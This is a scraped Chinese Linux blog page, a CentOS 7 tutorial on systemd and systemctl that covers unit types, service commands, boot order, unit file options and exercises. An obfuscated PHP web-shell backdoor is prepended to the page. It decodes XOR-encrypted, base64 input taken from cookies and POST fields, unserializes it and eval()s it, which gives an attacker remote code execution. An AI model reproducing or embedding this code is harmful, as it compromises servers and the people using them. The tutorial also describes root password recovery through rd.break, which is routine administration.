$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} systemd和systemctl | Linux运维部落

systemd和systemctl

systemd和systemctl(centos7)    

Systemd是一种新的linux系统服务管理器。它替换了init系统,能够管理系统启动过程和一些系统服务,一旦启动起来,就将监管整个系统。在centos7系统中,PID 1被systemd所使用了:如下,在centos6中:

init─┬─NetworkManager

     ├─abrtd

     ├─acpid

     ├─atd

     ├─auditd─┬─audispd─┬─sedispatch

     │        │         └─{audispd}

     │        └─{auditd}

     ├─automount───4*[{automount}]

     ├─certmonger

     ├─crond

     ├─cupsd

     ├─dbus-daemon───{dbus-daemon}

     ├─dhclient

     ├─fcoemon

     ├─hald─┬─hald-runner─┬─hald-addon-acpi

     │      │             └─hald-addon-inpu

     │      └─{hald}

     ├─irqbalance

     ├─lldpad

     ├─master─┬─pickup

     │        └─qmgr

     ├─mcelog

     ├─6*[mingetty]

     ├─modem-manager

     ├─rpc.statd

     ├─rpcbind

     ├─rsyslogd───3*[{rsyslogd}]

     ├─sshd─┬─sshd───bash───pstree

     │      └─sshd───bash

     ├─udevd───2*[udevd]

     ├─wpa_supplicant

     └─xinetd

在centos7中

systemd─┬─abrt-watch-log

        ├─abrtd

        ├─agetty

        ├─atd

        ├─auditd───{auditd}

        ├─chronyd

        ├─crond

        ├─dbus-daemon───{dbus-daemon}

        ├─irqbalance

        ├─lsmd

        ├─lvmetad

        ├─master─┬─pickup

        │        └─qmgr

        ├─rngd

        ├─rsyslogd───2*[{rsyslogd}]

        ├─smartd

        ├─sshd───sshd───bash───pstree

        ├─systemd-journal

        ├─systemd-logind

        ├─systemd-udevd

        └─tuned───4*[{tuned}]

ststemd可以并行地启动系统服务进程,并且最初仅启动确实被依赖的服务,极大减少了系统的引导时间,这也就是为什么centos7系统启动速度比centos6快许多的原因了。

一、知识整理

1、systemd的管理体系里,以前的运行级别的概念被新的运行目标(target)所取代。tartget的命令类似于multi-user.target等这种形式,由于不再使用runlevel概念,所以/etc/inittab也不再被系统使用。而在systemd的管理体系里面,默认的target(相当于以前的默认运行级别)是通过软链接实现的:

[root@localhost system]# ll
总用量 8
drwxr-xr-x. 2 root root   30 7月  19 05:55 basic.target.wants
lrwxrwxrwx. 1 root root  41 9月 19 14:56 default.target -> /usr/lib/systemd/system/multi-user.target

在/lib/systemd/system下面定义runlevelX.target文件目的主要是为了能够兼容以前的运行级别,事实上/lib/systemd/system/runlevel3.target,同样是被链接到multi-user.target

2、systemd管理体系中,被管理的deamon(守护进程)称作unit(单元),对于单元的管理是通过命令systemctl来进行控制的。unit表示不同类型的systemd对象,通过配置文件进行标识和配置;文件主要包含了系统服务、监听socket、保存的系统快照以及其它与init相关的信息。

3、systemd新特性:

系统引导时实现服务并行启动;

按需启动守护进程;

自动化的服务依赖关系

同时采用socket式与D-Bus总线式激活服务;

系统状态快照。

4、配置文件:

每个服务最主要的启动脚本设置,类似于之前的/etc/init.d/

[root@localhost system]# cd /usr/lib/systemd/system
[root@localhost system]# ls
abrt-ccpp.service      lvm2-lvmetad.socket                 smartd.service
abrtd.service            lvm2-lvmpolld.service               snmpd.service
abrt-oops.service        lvm2-lvmpolld.socket                snmptrapd.service
abrt-pstoreoops.service      lvm2-monitor.service                sockets.target

系统执行过程中所产生的服务脚本,比上面目录优先运行:

[root@localhost system]# cd /run/systemd/system/
[root@localhost system]# ls
session-1.scope  session-1.scope.d

管理员建立的执行脚本,类似于/etc/rc.d/rcN.d/SXX类的功能,比上面目录优先运行:

[root@localhost system]# cd /etc/systemd/system/
[root@localhost system]# ls
basic.target.wants  default.target.wants  multi-user.target.wants  sysinit.target.wants
default.target   getty.target.wants    sockets.target.wants     system-update.target.wants

5、unit类型:使用如下命令查看:

[root@localhost system]# systemctl -t help 
Available unit types:

service :文件扩展名为.service,用于定义系统服务

socket :用于标识进程间通信用的socket文件,也可在系统启动时,延迟启动服务,实现按需启动。

busname

target :用于模拟实现运行级别;

snapshot :.snapshot,管理系统快照;

device :.device,用于定义内核识别的设备;

mount :.mount,定义文件系统挂载点

automount :文件系统的自动挂载点

swap :.swap,用于标识swap设备;

timer

path :用于定义文件系统中的一个文件或者目录使用,常用于当文件系统变化时,延迟激活服务,如spool目录。

slice

scope

6、关键特性:

基于socket的激活机制,socket与程序分离;

基于bus的激活机制

基于device的激活机制

基于path的激活机制;

系统快照:保存个unit的当前状态信息与持久存储设备中;

向后兼容sysv init脚本,放在/etc/init.d/

不兼容:systemctl的命令是固定不变的;

非由systemd启动的服务,systemctl无法与之通信。

7、centos的系统启动:

设置内核参数,只影响当次启动:在选择内核界面按e。在linux16一行后添加:

systemd.unit= XXX.target|emergency.target|recure.target

当出现文件系统损坏、挂载文件损坏等情况后,进入emergency模式修复,此模式比rescue模式功能更少。

blob.png

修复grub2:修复配置文件:grub2-mkconfig > /boot/grub2/grub.cfg

grub2-mkconfig  -o  /boot/grub2/grub.cfg

修复grub:grub2-install /dev/sda BIOS环境

grub2-install UEFI环境

一、命令详解和事例

1、systemctl命令:

用法:systemctl [OPT] COMMAND [NAME]…

启动服务:service NAME start = systemctl start NAME.service

停止服务:service NAME stop = systemctl stop NAME.service

重启服务:service NAME restart = systemctl restart NAME.service

服务状态:service NAME status = systemctl status NAME.service

条件式重启,已启动才重启,否则不作操作:service NAME condrestart = systemctl try-restart NAME.service

重载或重启服务,先加载再启动:systemctl reload-or-restart NAME.service

重载或条件式重启:systemctl reload-or-try-restart NAME.service

禁止自动和手动启动:systemctl mask NAME.service

取消禁止:systemctl unmask NAME.service

查看某服务当前激活与否的状态:systemctl is-active NAME.service

查看所有已经激活的服务:systemctl list-unit –type|-t service

查看所有服务:systemctl list-units –type service –all|-a

chkconfig命令的对应关系:

设定某服务开机自启动:

chkconfig NAME on==>systemctl enable NAME.service

设定某服务开机禁止启动:

chkconfig NAME off==> systemctl disable NAME.service

查看所有服务的开机自启动状态:

chkconfig –list==> systemctl list-unit-files –type service

[root@localhost system]# systemctl enable httpd.service 
Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.
[root@localhost system]# systemctl disable httpd.service
Removed symlink /etc/systemd/system/multi-user.target.wants/httpd.service.
[root@localhost system]# systemctl mask httpd.service
Created symlink from /etc/systemd/system/httpd.service to /dev/null.
[root@localhost system]# systemctl unmask httpd.service
Removed symlink /etc/systemd/system/httpd.service.
[root@localhost system]# systemctl list-units --type service 
  UNIT                               LOAD   ACTIVE SUB     DESCRIPTION
  abrt-ccpp.service        loaded active exited  Install ABRT coredump hook
  abrt-oops.service        loaded active running ABRT kernel log watcher
  abrtd.service           loaded active running ABRT Automated Bug Reporting Tool
  atd.service            loaded active running Job spooling tools

列出该服务在哪些运行级别下启用和禁止:

chkconfig sshd -list==>ls /etc/systemd/system/*.wants/sshd.service

查看服务是否开机启动:systemctl is-enabled NAME.service

[root@localhost system]# systemctl is-enabled httpd.service 
disabled

其它命令:查看服务的依赖关系

systemctl list-dependencies NAME.service

杀掉进程:systemctl kill (进程名)

列出失败的任务:systemctl –failed –type=service

2、服务状态:

[root@localhost system]# systemctl list-units --type service --all
  UNIT                LOAD      ACTIVE   SUB     DESCRIPTION
  abrt-ccpp.service       loaded    active   exited  Install ABRT coredump hook
  abrt-oops.service       loaded    active   running ABRT kernel log watcher
  abrt-vmcore.service     loaded    inactive dead    Harvest vmcores for ABRT
  abrt-xorg.service       loaded    inactive dead    ABRT Xorg log watcher

loaded:unit配置文件已处理

active(running):一次或多次持续处理的运行

active(exited):成功完成一次性配置

active(waiting):运行中,等待一个事件

inactive:不运行

enable:开机启动

disable:开机不启动

static:开机不启动,但可以被另一个启用的服务激活。

3、运行级别:

0 :关机:poweroff.target

1 :单用户模式:rescue.target

2 :默认不启用NFS的多用户:multi-user.target

3 :完全的多用户:multi-user.target

4 :保留:mult-user.target

5 :图形:graphical.target

6 :重启:reboot.target

查看依赖性:

[root@localhost system]# systemctl list-dependencies graphical.target 
graphical.target
● ├─display-manager.service
● ├─network.service
● ├─systemd-update-utmp-runlevel.service
● └─multi-user.target
●   ├─abrt-ccpp.service
●   ├─abrt-oops.service
●   ├─abrt-vmcore.service

级别切换:systemctl isolate NAME.target;只有当/lib/systemd/system/*.target文件中AllowIsolate=yes才能切换(修改文件需执行systemctl deamon-reload才能生效)。

获取默认运行级别:systemctl get-default。

修改默认运行级别:systemctl set-default NAME.target

切换至救援模式:systemctl rescue

切换至紧急救援模式:systemctl emergency

关机:systemctl halt|poweroff

重启:systemctl reboot

挂起:systemctl suspend

休眠:systemctl hibernate

休眠并挂起:systemctl hybrid-sleep

4、Centos7引导顺序:

UEFI或BIOS初始化,运行POST开机自检

选择启动设备;

引导装载程序,centos7是grub2

加载装载程序的配置文件:/etc/grub.d/  /etc/default/grub  /boot/grub2/grub.cfg;

加载initramfs驱动模块;

加载内核选项;

内核初始化,centos7使用system代替init

执行initrd.target所有单元,包括挂载/etc/fstab

从initramfs根文件系统切换到磁盘根目录;

systemd执行默认target配置,配置文件为/etc/systemd/default.target  /etc/systemd/system

systemd执行sysinit.target初始化系统及basic.target准备操作系统;

systemd启动multi-user.target下的本机与服务器服务;

systemd执行multi-user.target下的/etc/rc.d/rc.local

systemd执行multi-user.target下的getty.target及登入服务;

systemd执行graphical需要的服务。

5、Unit文件格式:

/etc/systemd/system:系统管理员和用户使用;

/usr/lib/systemd/system:发行版打包者使用;

默认单位是秒;通常由三部分组成:

[Unit]:定义与unit类型无关的通用选项;用于提供unit的描述信息,unit行为及依赖关系;

常用的选项:Description:描述信息

After:定义unit的启动次序,表示当前unit应该晚于哪些unit启动,其功能与Before相反;

Requires:依赖到的其它units,强依赖,被依赖的units无法激活时,当前unit即无法激活;

Wants:依赖到的其它units,弱依赖;

Conflicts:定义units间的冲突关系。

[Service]:与特定类型相关的专用选项;此处为service类型;

常用选项:Type:定义影响ExecStart及相关参数功能的unit进程启动类型;

simple:默认值,这个daemon主要由ExecStart接的指令串来启动,启动后常驻于内存中;

forking:由ExacStart启动的程序透过spawns延伸出其它子程序来作为此deamon的主要服务。原生父程序在启动结束后就会终止。

oneshot:与simple类似,不过这个程序在完成工作后就结束,不常驻内存;

dbus:与simple类似,但这个daemon必须要在取得一个D-Bus的名称后,才会继续运作。因此通常也要同时设定BusName=才行;

notify:在启动完成后会发送一个通知消息。还需要配合NotifyAccess来让Systemd接收消息;

idle:与simple类似,要执行这个daemon必须要所有的工作都顺利执行完毕后才会执行。这类的daemon通常是开机到最后才执行即可的服务。

EnvironmentFile:环境配置文件;

ExecStart:指明启动unit要运行命令或脚本的绝对路径;

ExecStartPre:在ExecStart之前运行;

ExecStartPost:在ExecStart之后运行;

ExecStop:指明停止unit要运行的命令或脚本;

Restart:当设定Restart=1时,则当次daemon服务意外终止后,会再次自动启动。

[Install]:定义由systemctl enable以及systemctl disable命令在实现服务启动或禁用时用到的一些选项。

Alias:别名,可使用systemctl command Alias.service

RequiredBy:被哪些units所依赖,强依赖;

WantedBy:被哪些units所依赖,弱依赖;

Also:安装本服务的时候还要安装别的相关服务。

二、课后练习

1、为编译安装的httpd服务,实现service unit文件。

编译安装,更改配置文件。在/etc/systemd/system中编辑配置文件:

[root@localhost system]# vim httpd.service
[Unit]
Description=apache2
Requires=atd.service
[Service]
Type=simple
ExecStart=/usr/local/bin/apachectl 
[Install]
WantedBy=multi-user.target

重载并启动:

[root@localhost system]# systemctl daemon-reload 
[root@localhost system]# systemctl start httpd
[root@localhost system]# netstat -tan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22        0.0.0.0:*           LISTEN     
tcp        0      0 127.0.0.1:25      0.0.0.0:*            LISTEN     
tcp        0     52 10.1.54.250:22      10.1.252.66:56929       ESTABLISHED
tcp        0      0 10.1.54.250:22     10.1.252.66:57750       ESTABLISHED
tcp6       0      0 :::80        :::*                LISTEN

2、破解centos7root口令:启动时按e进入编辑模式;在linux16行后添加参数rd.break

再按ctrl+x启动。启动后重新按照rw格式挂载sysroot;切换根,更改root密码。在根下创建.autorelabel空文件,使selinux强制检测文件。

blob.png

blob.png

blob.png

3、修改默认的启动内核

在centos7中最好不要修改grub2.cfg文件,先修改/etc/default/grub模板文件;

[root@localhost grub2]# cat /etc/default/grub
GRUB_TIMEOUT=5
GRUB_DISTRIBUTOR="$(sed 's, release .*$,,g' /etc/system-release)"
GRUB_DEFAULT=0
GRUB_DISABLE_SUBMENU=true
GRUB_TERMINAL_OUTPUT="console"
GRUB_CMDLINE_LINUX="crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet"
GRUB_DISABLE_RECOVERY="true"

将GRUB_DEFAULT=saved一行改为0

最后使用grub2-mkconfig > /boot/grub2/grub.cfg命令重新生成grub2.cfg文件。

4、启动时临时禁用SELinux

[root@localhost system]# getenforce 
Enforcing
[root@localhost system]# setenforce 0
[root@localhost system]# getenforce 
Permissive

5、启动时进入emergency模式:

首先进入e模式:

blob.png

linux16后添加:systemd.unit= emergency.target

ctrl+x启动,进入:

blob.png

6、删除编译安装的新内核:

删除boot中生成的文件;

删除grub2/grub.cfg新内核相关几行;

删除/etc/modules中版本号相关文件;

删除编译安装包等文件。

原创文章,作者:SilencePavilion,如若转载,请注明出处:http://www.178linux.com/49806

(2)
上一篇 2016-10-09 09:02
下一篇 2016-10-09 09:02

相关推荐

  • n28-第二周

    1、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示 cp:copy files and directories 复制文件和目录 -i:交互式复制 默认情况下是别名定义了alias cp=’cp -i’ -f:强制复制 #cp -f /etc/issue /tmp/first.txt -r:递归复制目录 将/etc目录递归复制到/tmp…

    Linux干货 2017-12-10
  • ​文件系统层级结构标准

    多数Linux发行版遵从FHS标准并且声明其自身政策以维护FHS的要求。 [1] [2] [3] [4] 然而,包括由自由标准小组成员在内开发的绝大多数发行版(截至2009年),并不完全执行建议的标准。
    当FHS创建之时,其他的UNIX和类Unix操作系统已经有了自己的标准,尤其是hier(7)文件系统布局描述。 自从第七版Unix(于1979年)发布以来已经存在,或是SunOS filesystem(7), [5] 和之后的Solaris filesystem(5)。 例如,Mac OS X使用如 /Library、 /Applications和/Users 等长名与传统UNIX目录层次保持一致。
    现在的Linux发行版包含一个/sys目录作为虚拟文件系统(sysfs,类似于 /proc,一个procfs),它存储且允许修改连接到系统的设备,然而许多传统UNIX和类Unix操作系统使用/sys作为内核代码树的符号链接。
    一些Linux系统如GoboLinux和Syllable Server使用了和FHS完全不同的文件系统层次组织方法。

    Linux干货 2016-10-17
  • 18文本处理工具sed

    18文本处理工具sed     sed,全称Stream EDitor,是一种流编辑器,它一次处理一行内容,但是它构思巧妙,功能强大,是运维工作中必不可少的文本处理工具,也是因为这样,被称作文本处理三剑客之一。     sed在处理时,把当前处理的行李存储在临时缓冲区中,这个区域被称作“模式空间pa…

    Linux干货 2016-08-12
  • N25-第5周作业

    1、显示/boot/grub/grub.conf中以至少一个空白字符开头的行 [root@jizo ~]# grep -E '^[[:space:]]+.*' /boot/grub/gurb.conf 2、显示/etc/rc.d/rc.sysinit文件中以#开头,后面跟至少一个空白字符,…

    Linux干货 2017-01-09
  • 计算机的组成及其功能

    计算机系统由硬件系统和软件系统两大部分组成。冯诺依曼奠定了现代计算机的基本结构。 冯诺依曼体系的计算机,必须具有如下功能: #1 把需要的程序和数据送至计算机中; #2 具有长期记忆程序、数据、中间结果及最终运算结果的能力; #3 能够完成各种算术运算、逻辑运算和数据传送等数据加工处理的能力; #4 能够根据需要控制程序走向,并能根据指令控制机器的各部件协调…

    Linux干货 2016-08-15
  • 基于ssl功能实现mysql主从复制

    基于ssl功能实现mysql主从复制         证书准备:                                  CA证书…

    2016-11-22